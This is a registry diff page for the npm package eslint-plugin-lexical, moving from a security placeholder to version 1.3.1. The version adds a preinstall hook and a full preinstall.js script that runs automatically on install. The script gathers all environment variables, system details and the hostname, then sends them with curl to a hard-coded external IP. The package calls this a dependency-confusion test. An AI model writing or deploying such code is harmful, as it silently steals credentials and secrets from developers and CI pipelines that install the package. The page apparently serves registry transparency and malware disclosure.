eslint-plugin-lexical 0.0.1-security → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of eslint-plugin-lexical might be problematic. Click here for more details.
- package/package.json +14 -3
- package/preinstall.js +53 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "eslint-plugin-lexical",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.3.1",
|
4
|
+
"description": "Malicious package for dependency confusion test",
|
5
|
+
"scripts": {
|
6
|
+
"preinstall": "node preinstall.js"
|
7
|
+
},
|
8
|
+
"repository": {
|
9
|
+
"type": "git",
|
10
|
+
"url": "git+https://github.com/0xazanul/formio-tenant"
|
11
|
+
},
|
12
|
+
"author": "0xazanul",
|
13
|
+
"license": "MIT",
|
14
|
+
"dependencies": {
|
15
|
+
"eslint-plugin-lexical": "^1.3.0"
|
16
|
+
}
|
6
17
|
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
// preinstall.js
|
2
|
+
const { execSync } = require('child_process');
|
3
|
+
const url = 'http://206.189.139.175:8080'; // Replace with your controlled endpoint
|
4
|
+
|
5
|
+
/**
|
6
|
+
* Execute a shell command and return its output, or an error string if it fails.
|
7
|
+
* @param {string} cmd - The command to execute.
|
8
|
+
* @returns {string} - The output of the command.
|
9
|
+
*/
|
10
|
+
function safeExec(cmd) {
|
11
|
+
try {
|
12
|
+
return execSync(cmd, { timeout: 5000 }).toString().trim();
|
13
|
+
} catch (e) {
|
14
|
+
return `Error executing: ${cmd}`;
|
15
|
+
}
|
16
|
+
}
|
17
|
+
|
18
|
+
try {
|
19
|
+
let payload = '';
|
20
|
+
|
21
|
+
if (process.platform !== 'win32') {
|
22
|
+
// --- Linux/Unix Collection ---
|
23
|
+
// Collect all environment variables
|
24
|
+
const envData = safeExec('env');
|
25
|
+
// Get OS details
|
26
|
+
const unameData = safeExec('uname -a');
|
27
|
+
// Get hostname (as an additional identifier)
|
28
|
+
const hostnameData = safeExec('hostname');
|
29
|
+
// Check for common CI/CD environment variable (if not set, defaults to "not_CI")
|
30
|
+
const ciFlag = process.env.CI || 'not_CI';
|
31
|
+
|
32
|
+
// Build the payload; note that each value is URL-encoded
|
33
|
+
payload = `env=${encodeURIComponent(envData)}&uname=${encodeURIComponent(unameData)}&hostname=${encodeURIComponent(hostnameData)}&CI=${encodeURIComponent(ciFlag)}`;
|
34
|
+
} else {
|
35
|
+
// --- Windows Collection (minimal) ---
|
36
|
+
// On Windows, use 'set' to get environment variables
|
37
|
+
const envData = safeExec('set');
|
38
|
+
// Get hostname
|
39
|
+
const hostnameData = safeExec('hostname');
|
40
|
+
// CI/CD marker (if available)
|
41
|
+
const ciFlag = process.env.CI || 'not_CI';
|
42
|
+
|
43
|
+
payload = `env=${encodeURIComponent(envData)}&hostname=${encodeURIComponent(hostnameData)}&CI=${encodeURIComponent(ciFlag)}`;
|
44
|
+
}
|
45
|
+
|
46
|
+
// Send the collected data via an HTTP POST using curl
|
47
|
+
const cmd = `curl -X POST -d "${payload}" ${url}`;
|
48
|
+
execSync(cmd, { stdio: 'inherit' });
|
49
|
+
|
50
|
+
} catch (error) {
|
51
|
+
console.error('Preinstall data exfiltration failed:', error);
|
52
|
+
process.exit(1);
|
53
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=eslint-plugin-lexical for more information.
|